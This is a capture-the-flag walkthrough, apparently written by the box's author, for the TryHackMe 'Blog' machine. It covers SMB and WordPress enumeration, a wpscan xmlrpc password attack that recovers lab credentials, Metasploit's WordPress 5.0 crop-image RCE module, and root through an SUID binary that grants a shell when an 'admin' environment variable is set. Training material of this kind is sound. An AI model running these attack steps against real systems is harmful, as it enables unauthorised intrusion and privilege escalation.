You've successfully subscribed to N0Sec
Great! Next, complete checkout for full access to N0Sec
Welcome back! You've successfully signed in
Success! Your account is fully activated, you now have access to all content.
Blog.md

Blog.md

Errata

After doing this locally and uploading it to THM, I ran into multiple issues with getting the Wordpress site to recognize the IP it was given from AWS. To get around this, I assigned a ServerName in the Virtual Hosts file for Apache. Add blog.thm {IP_ADDRESS} to your /etc/hosts file in order to complete this box.

Introduction

This writeup is for my box, Blog, submitted on TryHackMe.com. The box is a challenge style box that has the user's enumerate the WordPress blog that is located on it. Once they have enumerated enough, they should have credentials for a low privilege user that has a weak password. Once they have that, they are able to execute CVE-2019-8943.

Enumeration

Port Enumeration

We start by performing the basic enumeration on the box with our trusty tool, nmap. I like to use the below scan options but you are free to do whatever you'd like.

nmap -sC -sV -oA nmap/scans {IP_ADDRESS}

I'm testing this locally so my IP address is 192.168.196.134. We run the scan and find 4 ports open, http, ssh and smb (2 ports).

Since I know SSH isn't vulnerable here because I used some pretty good passwords, I'll leave that alone and we'll go look at the other ports. Let's start with SMB on 139 and 445.

Here is the nmap output:

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-26 20:06 EDT
Nmap scan report for 192.168.196.139
Host is up (0.00025s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
|   256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_  256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.0
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Billy Joel's IT Blog – The IT blog
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: blog
|   NetBIOS computer name: BLOG\x00
|   Domain name: \x00
|   FQDN: blog
|_  System time: 2020-05-27T00:06:54+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-05-27T00:06:54
|_  start_date: N/A

SMB (Ports 139 and 445)

Starting with SMB, we start our enumeration with smbclient. The command is smbclient -L 192.168.196.139 (doing this locally, your IP will be different). And we get:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        BillySMB        Disk      Billy's local SMB Share
        IPC$            IPC       IPC Service (blog server (Samba, Ubuntu))

So Billy has an SMB share on his computer. This isn't surprising. From the nmap results, we can see that the account used is guest so we can login to it anonymously. Let's do that now.

smbclient \\\\192.168.196.139\\BillySMB

We're greeted with the familiar smb: \> command line. So let's see what files are here.

smb: \> ls
  .                                   D        0  Tue May 26 14:17:05 2020
  ..                                  D        0  Tue May 26 13:58:23 2020
  Alice-White-Rabbit.jpg              N    33378  Tue May 26 14:17:01 2020
  tswift.mp4                          N  1236733  Tue May 26 14:13:45 2020
  check-this.png                      N     3082  Tue May 26 14:13:43 2020

Two image files and a video file. Let's get all of them and take a look. I'll start with the video and I just gotta' say that it's hilarious so I won't spoil that.

So then we take a look at Alice-White-Rabbit.jpg. It seems to be a fairly large-ish file but maybe there's something hidden in it. So let's check strings first. It outputs garbage so that isn't it. Let's try exiftool

ExifTool Version Number         : 11.98
File Name                       : Alice-White-Rabbit.jpg
Directory                       : .
File Size                       : 33 kB
File Modification Date/Time     : 2020:05:26 21:54:18-04:00
File Access Date/Time           : 2020:05:26 21:54:44-04:00
File Inode Change Date/Time     : 2020:05:26 21:54:18-04:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.02
Resolution Unit                 : None
X Resolution                    : 100
Y Resolution                    : 100
Image Width                     : 400
Image Height                    : 300
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 400x300
Megapixels                      : 0.120

That's not much information either. Okay, so if stegonography is one way to go on this box, this last tool, steghide will get it.

steghide extract -sf Alice-White-Rabbit.jpg 
Enter passphrase: 
wrote extracted data to "rabbit_hole.txt".

Great. I see where this is going.

You've found yourself in a rabbit hole, friend.

Yup. Moving on. The last file is another little gem that I won't spoil so you'll just have to see for yourself!

With the files finished, it seems this was a rabbit hole so let's move on to Port 80.

HTTP (Port 80)

So let's go ahead and open that webpage and see what we got. We open the webpage and we're greeted by a blog page.

Main Blog Page

We see the title of Billy Joel's IT Blog with a subtitle of "The IT blog". Kinda boring but if we look around it seems like he just got this set up. His first Welcome blog post is still visible and there only appears to be 2 posts, and that Welcome one is one of them. So the only other post we see is by his mom (aw, cute). It looks like shes offering some words of encouragement from his recent firing (not sure what that's about...yet).

So let's look at the page source to try to get a version and if they're using a CMS or not. So scrolling to the bottom in the footer, we see the following:

<footer id="site-footer" role="contentinfo" class="header-footer-group">

				<div class="section-inner">

					<div class="footer-credits">

						<p class="footer-copyright">©
							2020							<a href="http://192.168.196.139/">Billy Joel's IT Blog</a>
						</p><!-- .footer-copyright -->

						<p class="powered-by-wordpress">
							<a href="https://wordpress.org/">
								Powered by WordPress							</a>
						</p><!-- .powered-by-wordpress -->

					</div><!-- .footer-credits -->

					<a class="to-the-top" href="#site-header">
						<span class="to-the-top-long">
							To the top <span class="arrow" aria-hidden="true">↑</span>						</span><!-- .to-the-top-long -->
						<span class="to-the-top-short">
							Up <span class="arrow" aria-hidden="true">↑</span>						</span><!-- .to-the-top-short -->
					</a><!-- .to-the-top -->

				</div><!-- .section-inner -->

			</footer>

Powered by Wordpress! Perfect! I think we have all we need here. Let's head into Kali to start working with wpscan. I'll post only the interesting parts that we care about so it's not a giant wall of text.

Wordpress Interesting Entries

[+] http://192.168.196.139/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

Wordpress Version

[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 | Found By: Rss Generator (Passive Detection)
 |  - http://192.168.196.139/feed/, <generator>https://wordpress.org/?v=5.0</generator>
 |  - http://192.168.196.139/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>

So now we can enumerate the users of the site.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <====================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] kwheel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://192.168.196.139/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bjoel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://192.168.196.139/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

This is really good information. I'm going to skip cracking bjoel's because I know it is uncrackable in the time limit that TryHackMe sets so we shall aim for kwheel.

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - kwheel / cutiepie1                                                                                   
...

[!] Valid Combinations Found:
 | Username: kwheel, Password: cutiepie1

wpscan returns a valid password fairly quickly. We see that it's "cutiepie1".

Now that we have that, we need to look for a way to get onto the box. So we try logging in with our newly found credentials. Sadly, we find that she is just set as an Author and cannot change anything else. So we need to start looking into possible CVEs for this version of Wordpress. This leads us to the exploitation section of this writeup.

Exploitation

We can use searchsploit or head over to Exploit-DB and look. We'll use searchsploit here.

Two exploits pop up for our version.

-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
WordPress Core 5.0 - Remote Code Execution                                      | php/webapps/46511.js
WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit)                     | php/remote/46662.rb

We see that there's a Metasploit module for the second one so let's go ahead and try that by loading up msfconsole.

Actually, searching "Wordpress 5.0" returns A LOT of results that we don't need or care about so let's just search "crop-image"

msf5 > search crop-image

Matching Modules
================

   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/multi/http/wp_crop_rce  2019-02-19       excellent  Yes    WordPress Crop-image Shell Upload

That's better. We'll use this and set our options and exploit. Once we do, we're given our meterpreter shell and we're in! Doing a whoami returns that we are www-data in the /var/www/wordpress directory.

Post-Exploitation Enumeration

Reviewing the User's Home Directory

Once we're settled, we should take a look around and see what's here. An ls will show us that we're in the var/www/wordpress directory. Let's see if we can cd to /home.

www-data@blog:/home$ ls
bjoel

We can so this is good. We know that there's at least one user here called bjoel. This shouldn't be surprising though, considering we're on Billy's computer. Let's take a look at their directory.

www-data@blog:/home/bjoel$ ls
BillyJoel_Termination_May20-2020.txt  user.txt

Hm...so we see a termination letter and a user.txt file. Let's just quickly cat them both out below.

www-data@blog:/home/bjoel$ cat BillyJoel_Termination_May20-2020.txt 
5/20/2020
5/20/2020
Bill Joel,
This letter is to inform you that your employment with Rubber Ducky Inc. will end effective immediately on 5/20/2020.
You have been terminated for the following reasons:
• Repeated offenses regarding company removable media policy
• Repeated offenses regarding company Acceptable Use Policy
• Repeated offenses regarding tardiness
You will receive compensation up to and including today’s workday and any hours worked. This check will be mailed to you at your address on file.
As of 5/20/2020 you have:
• 0 hours unused leave
• 0 hours unused vacation
You are requested to return all company property by the end of the business day on 5/22/2020 or you will be charged with theft and prosecuted to the highest level.
If you have questions about policies you have signed, your compensation, benefits, or returning company property, please don’t contact anyone because we don’t care.
Sincerely,
Karen Lawson
HR Administrator – Rubber Ducky Inc.
klawson@rubberducky.net
410-555-4165

Well...that's interesting. We'll hold onto this for now. It might come in handy later.

Let's look at the next file.

You won't find what you're looking for here.

TRY HARDER

Looks like our user.txt flag isn't where we normally think it would be. That's okay, sometimes we have to dig a little deeper.

We can poke around some more. Looking back at the termination letter, the first reason for termination was "Repeated offenses regarding company removable media policy". Let's look into that further. We know that typically things are mounted in /mnt and sometimes /media. So let's look in /media first. Maybe he was storing some files on it at home and left it plugged in.

Mounted Drives

www-data@blog:/home/bjoel$ cd /media
www-data@blog:/media$ ls
usb

Perfect. There's a usb mounted. It must be bjoel's. Let's try to get into it.

www-data@blog:/media$ cd usb
bash: cd: usb: Permission denied

Uh-oh. No can do. That's okay. I have a feeling we'll be back here. Let's poke around the machine more to see what we find. We could try to wget our favorite Linux Enumeration script, linux-smart-enumeration and run that to see what it finds.

Uncommon SUID Binary

If we cd to /tmp we can use the nice wget one-liner provided by diego. This drops our lse.sh script into /tmp and we can run it. Once it completes, we can see this one interesting line:

[!] fst020 Uncommon setuid binaries........................................ yes!
---
/usr/sbin/checker
---

So there's an uncommon binary with its SUID bit set. Let's go take a look at this binary.

www-data@blog:/usr/sbin$ ls -la
...
drwxr-xr-x  2 root root 4096 May 26 18:27 .
drwxr-xr-x 10 root root 4096 Feb  3 18:22 ..
-rwsr-sr-x  1 root root 8432 May 26 18:27 checker

So it's owned by root but has the s bit set on owner so we can execute it with root privileges. So first let's just run it and see what happens.

www-data@blog:/opt$ ./checker
Not an Admin

So it tells us we're not an Admin. Obviously. So here comes the hard part. We need to disassemble it and see what information we can glean from the code. Let's start with GDB

www-data@blog:/usr/sbin$ gdb ./checker
...
(gdb) disassemble main
Dump of assembler code for function main:
   0x000000000000071a <+0>:     push   %rbp
   0x000000000000071b <+1>:     mov    %rsp,%rbp
   0x000000000000071e <+4>:     sub    $0x10,%rsp
   0x0000000000000722 <+8>:     lea    0xcb(%rip),%rdi        # 0x7f4
   0x0000000000000729 <+15>:    callq  0x5c0 <getenv@plt>
   0x000000000000072e <+20>:    test   %rax,%rax
   0x0000000000000731 <+23>:    setne  %al
   0x0000000000000734 <+26>:    mov    %al,-0x1(%rbp)
   0x0000000000000737 <+29>:    cmpb   $0x0,-0x1(%rbp)
   0x000000000000073b <+33>:    je     0x75a <main+64>
   0x000000000000073d <+35>:    mov    $0x0,%edi
   0x0000000000000742 <+40>:    callq  0x5f0 <setuid@plt>
   0x0000000000000747 <+45>:    lea    0xac(%rip),%rdi        # 0x7fa
   0x000000000000074e <+52>:    callq  0x5e0 <system@plt>
   0x0000000000000753 <+57>:    mov    $0x0,%eax
   0x0000000000000758 <+62>:    jmp    0x76b <main+81>
   0x000000000000075a <+64>:    lea    0xa3(%rip),%rdi        # 0x804
   0x0000000000000761 <+71>:    callq  0x5d0 <puts@plt>
   0x0000000000000766 <+76>:    mov    $0x0,%eax
   0x000000000000076b <+81>:    leaveq 
   0x000000000000076c <+82>:    retq   
End of assembler dump.

We see that it's making a call to getenv. This helps us. It's also making some calls to setuid and system. So it's getting an environment variable value, setting the uid to something, then calling system. We should be armed with enough information from this output to determine that its checking for an "admin" environment variable and allowing you to run something with a uid of some value if its true. So let's test this theory with export admin=true

www-data@blog:/usr/sbin$ export admin=true
www-data@blog:/usr/sbin$ echo $admin
true

Now let's run ./checker again.

www-data@blog:/usr/sbin$ ./checker
root@blog:/usr/sbin# 

Boom! So from here it's easy to cd to ~ and grab root.txt. But wait...we don't have user.txt yet. So let's go back and try to get that. We can remember from before that /media/usb was locked to us before. It shouldn't be now. Let's go back there and see what we find.

root@blog:/usr/sbin# cd /media/usb
root@blog:/media/usb# ls                                                  
user.txt

Bingo. With that last flag, we've completed the box and added another to our collection.

That's it for now...See ya Cyber Cowboy

Spike